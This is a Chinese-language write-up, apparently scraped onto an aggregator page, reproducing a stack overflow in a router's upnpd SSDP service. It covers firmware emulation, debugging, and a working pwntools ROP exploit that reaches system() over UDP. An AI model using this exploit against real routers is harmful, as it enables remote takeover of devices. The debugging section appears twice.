CVE

您所在的位置:网站首页 dcerpc漏洞复现 CVE

CVE

2023-10-22 22:00| 来源: 网络整理| 查看: 265

binwalk 提取文件,最终将 /usr/sbin/upnpd 丢到 IDA 反汇编,可以知道是一个 32 为 arm 小端序二进制可执行文件

且没有开启 Canary 和 PIE IDA 中搜寻 MX 字符串,最终找到漏洞

其中的 v5 - (v4 + 3) 表示 MX字段数据的长度,说明并没有限制数据字节大小,那么就可以直接栈溢出 固件模拟 首先要下载内核镜像文件、文件系统和启动文件 https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress/

这样才能进行系统级模拟,不够现在貌似下载不了资源了

#! /bin/bash #创建一个虚拟网卡和虚拟机交互 sudo tunctl -t tap0 sudo ifconfig tap0 192.168.6.1/24 # qemu 系统级模拟 qemu-system-arm -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2" \ -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

将其写入 start.sh 文件,然后运行

不过会报

这里需要执行

qemu-img resize debian_wheezy_armhf_standard.qcow 32G

这样重新执行就可以正常模拟了(感谢 tolele 师傅的帮助)

经过漫长等待后,输入账号密码 root : root

# 配置虚拟网卡,用于宿主机交互 ifconfig eth0 192.168.6.2/24 # 挂载 mount -t proc /proc ./squashfs-root/proc mount -o bind /dev ./squashfs-root/dev chroot ./squashfs-root/ sh 配置虚拟网卡,这样虚拟机就能和物理机进行网络连接了,然后挂载,切换进程根目录 python3 -m http.server 8888 wget 192.168.6.1:8888/file_name 利用 python3 在物理机开启一个 web 服务在 8888 端口,这样就能在虚拟机利用 wget 下载物理机的文件到虚拟机 如果直接执行 /urs/sbin/upnpd 会报 /dev/nvram: No such file or directory

显示没有NVRAM文件。NVRAM(Non-Volatile Random Access Memory)是一种非易失性随机存取存储器,它能够在断电时保存数据。固件模拟与NVRAM有关系,因为在进行固件模拟时,我们需要模拟整个嵌入式系统的运行环境,包括系统配置信息、参数和状态等。这些信息通常存储在NVRAM中,并在系统启动时被读取。 通过 https://uclibc.org/downloads/binaries/0.9.30/ 下载交叉编译工具,然后在 https://github.com/therealsaumil/custom_nvram 下载模拟源码,最后编译后利用 8888 端口上传到虚拟机中 ./armv5l-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so

然后执行

LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd 这时候会发现成功启动了

可以看到成功开启

触发漏洞与远程调试 from pwn import * p = remote("192.168.6.2", 1900, typ='udp') context.log_level = 'debug' pld = b'M-SEARCH * HTTP/1.1 \r\n' pld += b'Man:"ssdp:discover" \r\n' pld += b'MX:' + b'a'*160 + b' \r\n' p.send(pld) 触发栈溢出 在 链接 下载 gdb-server ,在虚拟机开放一个调试端口,这样就能在物理机调试了 虚拟机 LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh # 寻找 upnpd 进程号 ps | grep upnpd ./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 upnpd_pid 宿主机 gdb-multiarch set architecture arm target remote 192.168.6.2:12345 同样用上面简单的 payload 来触发栈溢出调试看看, LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh ps | grep upnpd 0 找到 /usr/sbin/upnpd 的进程号 ./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 2515 宿主机起用 gdb 0 设置系统架构,然后监听端口 set architecture arm target remote 192.168.6.2:12345 然后就能愉快地调试了 0 将断点打到 0x22dc0 0 当执行完 pop { r4, r5, r6, pc } 后,pc 就被劫持 aaaa 了,之后程序便崩溃了 0 触发栈溢出 在 链接 下载 gdb-server ,在虚拟机开放一个调试端口,这样就能在物理机调试了 虚拟机 LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh # 寻找 upnpd 进程号 ps | grep upnpd ./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 upnpd_pid 宿主机 gdb-multiarch set architecture arm target remote 192.168.6.2:12345

同样用上面简单的 payload 来触发栈溢出调试看看

LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd & /bin/sh ps | grep upnpd

找到 /usr/sbin/upnpd 的进程号

./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 2515 宿主机起用 gdb

设置系统架构,然后监听端口 set architecture arm target remote 192.168.6.2:12345 然后就能愉快地调试了

将断点打到 0x22dc0

当执行完 pop { r4, r5, r6, pc } 后,pc 就被劫持 aaaa 了,之后程序便崩溃了

 

漏洞利用及 exp 编写 from pwn import * p = remote("192.168.6.2", 1900, typ='udp') context.log_level = 'debug' payload = b'M-SEARCH * HTTP/1.1\r\n' payload += b'Man:"ssdp:discover"\r\n' payload += b'MX:' payload += b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab' payload += b'\r\n\x00' p.send(payload) 首先要利用上面 payload 来找出溢出长度 0 可以看到溢出长度要足够我们能够控制 pc 需为 140(0x8c) 并且如果我们的 exp 如下的时候 from pwn import * p = remote("192.168.6.2", 1900, typ='udp') context.log_level = 'debug' payload = b'M-SEARCH * HTTP/1.1\r\n' payload += b'Man:"ssdp:discover"\r\n' payload += b'MX:' payload += b'a' * 0x8c payload += b'\x08\x39\x01\r\n\x00' payload += b'stopstop'*0x8 p.send(payload) 0 可以看到 \r\n\x00 之后的数据被读到到距离 sp 0x770 处的位置 .text:00017DD8 04 00 A0 E1 MOV R0, R4; command .text:00017DDC 20 CC FF EB BL system .text:00013908 02 DB 8D E2 ADD SP, SP, #0x800 .text:0001390C 70 80 BD E8 POP {R4-R6,PC} .text:0000BB44 04 00 A0 E1 MOV R0, R4 ; dest .text:0000BB48 0D 10 A0 E1 MOV R1, SP ; src .text:0000BB4C F2 FE FF EB BL strcpy .text:0000BB50 01 DB 8D E2 ADD SP, SP, #0x400 .text:0000BB54 70 80 BD E8 POP {R4-R6,PC} 我们可以利用上面三处 gadget 先控制 rsp 指向构造的 command 处,控制 R4 为 data 段上地址,再利用 strcpy 来复制 command 到 data 段上,接着再一次控制 pc,到 system 执行。和寻常 arm 架构的 ctf pwn 题差不多 exp from pwn import * p = remote("192.168.6.2", 1900, typ='udp') context.log_level = 'debug' command = b'ls' payload = b'M-SEARCH * HTTP/1.1\r\n' payload += b'Man:"ssdp:discover"\r\n' payload += b'MX:' payload += b'a' * 0x8c payload += b'\x08\x39\x01\r\n\x00' # add sp, 0x800 payload += b'a' * 0xa5 payload += p32(0x000CD000) # .data payload += b'a' * 8 payload += p32(0x0000BB44) # strcpy payload += command.ljust(0x400, b'\x00') payload += p32(0x000CD000) # .data payload += b'a' * 8 payload += p32(0x00017DD8) #system p.send(payload)


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3